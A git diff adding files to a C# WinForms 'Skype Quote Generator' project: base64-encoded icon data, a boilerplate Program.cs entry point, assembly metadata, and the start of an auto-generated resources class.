+ hv/42Yb/+NmG//jZhv/42Yb/+NmG//jZhv/42Yb/+NmG//jZhv/42Yb/+NmG//jZhv/42Yb/+NmG//jZ
+ hv/42Yb/+NmG//jZhv/42Yb/+NmG//jZhv/42Yb/+NmG//jZhv/42Yb/+NmG//jZhv/42Yb/+NmG//jZ
+ hv/42Yb/+NmG//jZhv/014f/3rZK/+OqEf/xuSH/88I+//TOZfn33Zd5/fntAgAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+OCgX/TGTf/xuSD/3Ksn//TWh//42on/+NqJ//ja
+ if/42on/+NqJ//jaif/42on/+NqJ//jaif/42on/+NqJ//jaif/42on/+NqJ//jaif/42on/+NqJ//ja
+ if/42on/+NqJ//jaif/42on/+NqJ//jaif/42on/+NqJ//jaif/42on/+NqJ//jaif/42on/+NqJ//ja
+ if/42on/+NqJ//jaif/42on/+NqJ//jaif/42on/+NqJ//jaif/42on/+NqJ//jaiP/42oj/+NqI//ja
+ iP/42oj/+NqI//jaiP/42oj/+NqI//jaiP/42oj/+NqI//jaiP/42oj/+NqI//jaiP/42oj/+NqI//ja
+ iP/42oj/+NqI//jaiP/42oj/+NqI//jaiP/42oj/+NqI//jaiP/32o3/4r5e/96pG//wthr/8r4y//TI
+ VP/22IfM+ee2MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAA99iIiPPFSP/wuB//26sr//TXif/424v/+NuL//jbi//424v/+NuL//jbi//424v/+NuL//jb
+ i//424v/+NuL//jbi//424v/+NuL//jbi//424v/+NuL//jbi//424v/+NuL//jbi//424v/+NuL//jb
+ i//424v/+NuL//jbi//424v/+NuL//jbi//424v/+NuL//jbi//424v/+NuL//jbi//424v/+NuL//jb
+ i//424v/+NuL//jbi//424v/+NuL//jbi//424v/+NuL//jbi//424v/+NuL//jbi//424v/+NuL//jb
+ i//424v/+NuL//jbi//424v/+NuL//jbi//424v/+NuL//jbi//424v/+NuL//jbi//424v/+NuL//jb
+ i//325D/48Jl/92qI//tsxf/8rws//PFSf/10XHx996Zcvzy1gQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+/PYB996XofPFR//xuSD/26wr//HW
+ if/43I//+NyP//jcj//43I//+NyP//jcj//43I//+NyP//jcj//43I//+NyP//jcj//43I//+NyP//jc
+ j//43I//+NyP//jcj//43I//+NyP//jcj//43I//+NyP//jcj//43I//+NyP//jcj//43I//+NyP//jc
+ j//43I//+NyP//jcj//43I//+NyP//jcj//43I//+NyP//jcjv/43I7/+NyO//jcjv/43I7/+NyO//jc
+ jv/43I7/+NyO//jcjv/43I7/+NyO//jcjv/43I7/+NyO//jcjv/43I7/+NyO//jcjv/43I7/+NyO//jc
+ jv/43I7/+NyO//jcjv/43I7/+NyO//jcj//02pD/4r9f/92qIv/tsxj/8rwr//PERf/0zmb9+N+fnPrn
+ tRkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAD889wD992Yo/TGS//yuiT/3Koi/+3PgP/53JL/+dyR//nckf/53JH/+dyR//nc
+ kf/53JH/+dyR//nckf/53JH/+dyR//nckf/53JH/+dyR//nckf/53JH/+dyR//nckf/53JH/+dyR//nc
+ kf/53JH/+dyR//nckf/53JH/+dyR//nckf/53JH/+dyR//nckf/53JH/+dyR//nckf/53JH/+dyR//nc
+ kf/53JH/+dyR//nckf/53JH/+dyR//nckf/53JH/+dyR//nckf/53JH/+dyR//nckf/53JH/+dyR//nc
+ kf/53JH/+dyR//nckf/53JH/+NyR//jckf/43JH/+NyR//jckf/43JH/+NyS//jelv/rzn7/37dL/9+p
+ GP/vthz/8r0v//PFSP/1zmX++N6bsPnkrCsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+/PYB+OGjj/TI
+ VP/yvCz/4qwa/+TCZ//53pj/+d2U//ndlP/53ZT/+d2U//ndlP/53ZT/+d2U//ndlP/53ZT/+d2U//nd
+ lP/53ZT/+d2U//ndlP/53ZT/+d2U//ndlP/53ZT/+d2U//ndlP/53ZT/+d2U//ndlP/53ZT/+d2U//nd
+ lP/53ZT/+d2U//ndlP/53ZT/+d2U//ndlP/53ZT/+d2U//ndlP/53ZT/+d2U//ndlP/53ZT/+d2U//nd
+ lP/53ZT/+d2U//ndlP/53ZT/+d2U//ndlP/53ZT/+d2U//ndlP/53ZT/+d2U//ndlP/53ZT/+d2U//nd
+ lP/53ZX/+d+a/+zPg//gu1f/3awn/+ivF//xuiX/8sA3//THT//10Gz6992XpProty4AAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+OGia/TNYvnzwDn/67Mc/9uxPv/y2JH/+d6Y//ne
+ l//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//ne
+ l//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nf
+ mf/53pj/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//ne
+ l//53pf/+d6X//nel//53pf/+d6Z//ngnf/w1Y3/48Ns/9+3Sf/dqyL/6K8Y//G6JP/yvzP/88VG//TM
+ Xv/21n/m+N6Zgvvx0xwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAA+uq/OvXTdt70xkr/8bsq/9+rHf/gvWD/996c//nfmv/535r/+d+a//nfmv/535r/+d+a//nf
+ mv/535r/+d+a//nfmv/535r/+d+a//nfmv/535r/+d+a//nfmv/535r/+d+a//nfmv/535r/+d+a//nf
+ mv/535r/+d+a//nfmv/535r/+d+a//ngn//mx3X/37I6/+C4Tf/gv2P/5cd3/+3RiP/z2pj/+eKi//nh
+ oP/54Z//+eCe//nhnv/54J7/+eCf//nhoP/54aH/9t6d/+/Vjv/py33/4MBp/+K7Vf/fszz/3aog/+St
+ GP/wuCH/8rws//PAOf/zxkr/9Mxe//bTdfP44J+m+eOoS/zz2gQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+uq/DvjgoZj0zGH+88I//++4
+ Jv/drCb/4cBn//Xenv/54J7/+eCd//ngnf/54J3/+eCd//ngnf/54J3/+eCd//ngnf/54J3/+eCd//ng
+ nf/54J3/+eCd//ngnf/54J3/+eCd//ngnf/54J3/+eCd//ngnf/54J3/+eCd//jhov/myHr/3bE6/+y4
+ Kv/yvzb/8r80//K8LP/wuSX/5rEf/+OtGv/eqRr/26ki/9yrJv/fsC//368u/9+vL//erSn/3Kok/9yo
+ HP/iqxb/5a4b/+22IP/xuiX/8rws//K/Nf/zwj//9MZM//TKWv/1z2r/99iG3vjfnpj446dN/PLXCQAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAPnnszr214TJ9Mtb//PCPv/vuij/36sh/9+5VP/q0If/+eOl//nh
+ oP/54Z//+eGf//nhn//54Z//+eGf//nhn//54Z//+eGf//nhn//54Z//+eGf//nhn//54Z//+eGf//nh
+ n//54aD/+eKk//HYlv/gv2X/3q8x/+26MP/zxUr/9c9q+ffai8z21Hry9tBr//XNYv/1ylj/9MlT//TG
+ S//0xEb/88RD//PDQf/zw0D/88NA//PDQf/zxEP/9MRG//TGS//0yVP/9cpY//XNYv/20Gv/9tR68ffZ
+ icb54qOU+eKjXPrpvCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP79
+ +AH66r9Q99mKy/TNYf/zxUf/8r4y/+mzIv/erSr/37pU/+TGd//x2Zj/+uSp//rjpv/64qT/+uKj//ri
+ o//64qP/+uKj//rio//64qT/+uKl//rkqf/03aD/58uB/+C+YP/fsjv/5LIo//LAOv/0yFL/9dBt+fjg
+ oJz77soiAAAAAAAAAAD76r8e+eOlQfngnWH32YZ6+eSqlPjel6T42oyw99eDvvfXgcD314HA99eDvvjb
+ jbD43pik+eSqlPfZh3r54J5h+eOlQfvrwB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+OOnP/jgnqb10nL29Mtc//PF
+ R//ywDj/8bss/+WwIf/dqyX/4bQ7/9+2S//hu1f/6MRk/+XCZP/nw2T/4r1a/964UP/gtkT/3a4u/+Ow
+ Jf/uuzH/88I+//THT//1zmP/9taA3fjgoHz7780XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAPvtyQz435tX+N6ZovbXgOf10Gr/9ctd//TIUv/0xUj/88NC//PC
+ Pv/zwjz/88E8//PCPf/zwkD/88RF//THTf/0ylb/9c1j//bRcPz32o3M+N+bhPrnszf+/foBAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAPrpuCH54aFS+eKmfPngnpz32Ya2+NyRyPjcj9D43I/Q+NyQ0PfaicL43JCq+eSqkPjd
+ k2z546k+/fXiDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAA////////////////////////////////////////////////////////
+ /////////////////////////////////////////////////////////////////AD/////////////
+ /////4AAD/////////////////wAAAH/////////////4AfwAAAAP///////////8AAAAAAAAB//////
+ /////wAAAAAAAAAH//////////gAAAAAAAAAAf/////////AAAAAAAAAAAD/////////AAAAAAAAAAAA
+ f////////AAAAAAAAAAAAD////////AAAAAAAAAAAAAf///////AAAAAAAAAAAAAD///////gAAAAAAA
+ AAAAAAf//////gAAAAAAAAAAAAAD//////wAAAAAAAAAAAAAA//////wAAAAAAAAAAAAAAH/////4AAA
+ AAAAAAAAAAAA/////8AAAAAAAAAAAAAAAP////+AAAAAAAAAAAAAAAB/////AAAAAAAAAAAAAAAAf///
+ /gAAAAAAAAAAAAAAAD////wAAAAAAAAAAAAAAAA////4AAAAAAAAAAAAAAAAP///8AAAAAAAAAAAAAAA
+ AB///+AAAAAAAAAAAAAAAAAf///gAAAAAAAAAAAAAAAAH///wAAAAAAAAAAAAAAAAB///4AAAAAAAAAA
+ AAAAAAAP//8AAAAAAAAAAAAAAAAAD///AAAAAAAAAAAAAAAAAA///gAAAAAAAAAAAAAAAAAP//4AAAAA
+ AAAAAAAAAAAAD//8AAAAAAAAAAAAAAAAAA///AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAAAAAAAAD//4
+ AAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAP//AAAAAAAAAAAAAAAAAAD//gAAAAAAAAAAAAAAAA
+ AA//4AAAAAAAAAAAAAAAAAAP/8AAAAAAAAAAAAAAAAAAH//AAAAAAAAAAAAAAAAAAB//wAAAAAAAAAAA
+ AAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAD//gAAAAAAAAAAAAAAAAAA//4AAAAAA
+ AAAAAAAAAAAAP/8AAAAAAAAAAAAAAAAAAH//AAAAAAAAAAAAAAAAAAB//wAAAAAAAAAAAAAAAAAA//8A
+ AAAAAAAAAAAAAAAAAP//AAAAAAAAAAAAAAAAAAD//gAAAAAAAAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAA
+ AH/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAA
+ AAAAAAB//gAAAAAAAAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//gAAAAAA
+ AAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/4A
+ AAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAA
+ AP//AAAAAAAAAAAAAAAAAAD//wAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA
+ AAAAAAD//gAAAAAAAAAAAAAAAAAA//wAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAH/+AAAAAAA
+ AAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAA//4AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAAAAAAAAD//AA
+ AAAAAAAAAAAAAAAAB//wAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAH//AAAAAAAAAAAAAAAAAA
+ D//wAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAf//AAAAAAAAAAAAAAAAAAH//wAAAAAAAAAAAA
+ AAAAAD//8AAAAAAAAAAAAAAAAAA///AAAAAAAAAAAAAAAAAAf//wAAAAAAAAAAAAAAAAAP//8AAAAAAA
+ AAAAAAAAAAD///AAAAAAAAAAAAAAAAAB///4AAAAAAAAAAAAAAAAA///+AAAAAAAAAAAAAAAAAP///gA
+ AAAAAAAAAAAAAAAH///4AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAB////wAAAAAAAAAAAAAAAA/
+ ///8AAAAAAAAAAAAAAAAP////gAAAAAAAAAAAAAAAH////4AAAAAAAAAAAAAAAD/////AAAAAAAAAAAA
+ AAAB/////wAAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAA//////gAAAAAAAAAAAAAAf/////8AAAAAA
+ AAAAAAAAP//////gAAAAAAAAAAAAAP//////8AAAAAAAAAAAAAH///////AAAAAAAAAAAAAH///////4
+ AAAAAAAAAAAAH////////AAAAAAAAAAAAH////////8AAAAAAAAAAAH/////////gAAAAAAAAAAH////
+ /////8AAAAAAAAAAP//////////wAAAAAAAAA///////////+AAAAAYAAH////////////8AAAAf////
+ ////////////wAAAf/////////////////wAB///////////////////////////////////////////
+ //////////////////////////////////8=
+
+
+
\ No newline at end of file
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Program.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Program.cs
new file mode 100644
index 0000000..faf8126
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/Program.cs
@@ -0,0 +1,19 @@
+using System;
+using System.Windows.Forms;
+
+namespace SkypeQuote
+{
+ static class Program
+ {
+ ///
+ /// The main entry point for the application.
+ ///
+ [STAThread]
+ static void Main()
+ {
+ Application.EnableVisualStyles();
+ Application.SetCompatibleTextRenderingDefault(false);
+ Application.Run(new Main());
+ }
+ }
+}
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/AssemblyInfo.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/AssemblyInfo.cs
new file mode 100644
index 0000000..c727477
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/AssemblyInfo.cs
@@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("Skype Quote Generator")]
+[assembly: AssemblyDescription("A tool to generate Skype quotes.")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("SuperNets")]
+[assembly: AssemblyProduct("Skype Quote Generator")]
+[assembly: AssemblyCopyright("Copyright © 2015 - SuperNets")]
+[assembly: AssemblyTrademark("SuperNets")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components. If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("d1f9e552-3450-4593-a23f-ac68b5f0fef9")]
+
+// Version information for an assembly consists of the following four values:
+//
+// Major Version
+// Minor Version
+// Build Number
+// Revision
+//
+// You can specify all the values or you can default the Build and Revision Numbers
+// by using the '*' as shown below:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("6.6.6.7")]
+[assembly: AssemblyFileVersion("6.6.6.7")]
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.Designer.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.Designer.cs
new file mode 100644
index 0000000..9a1fcff
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.Designer.cs
@@ -0,0 +1,63 @@
+//------------------------------------------------------------------------------
+//
+// This code was generated by a tool.
+// Runtime Version:4.0.30319.42000
+//
+// Changes to this file may cause incorrect behavior and will be lost if
+// the code is regenerated.
+//
+//------------------------------------------------------------------------------
+
+namespace SkypeQuote.Properties {
+ using System;
+
+
+ ///
+ /// A strongly-typed resource class, for looking up localized strings, etc.
+ ///
+ // This class was auto-generated by the StronglyTypedResourceBuilder
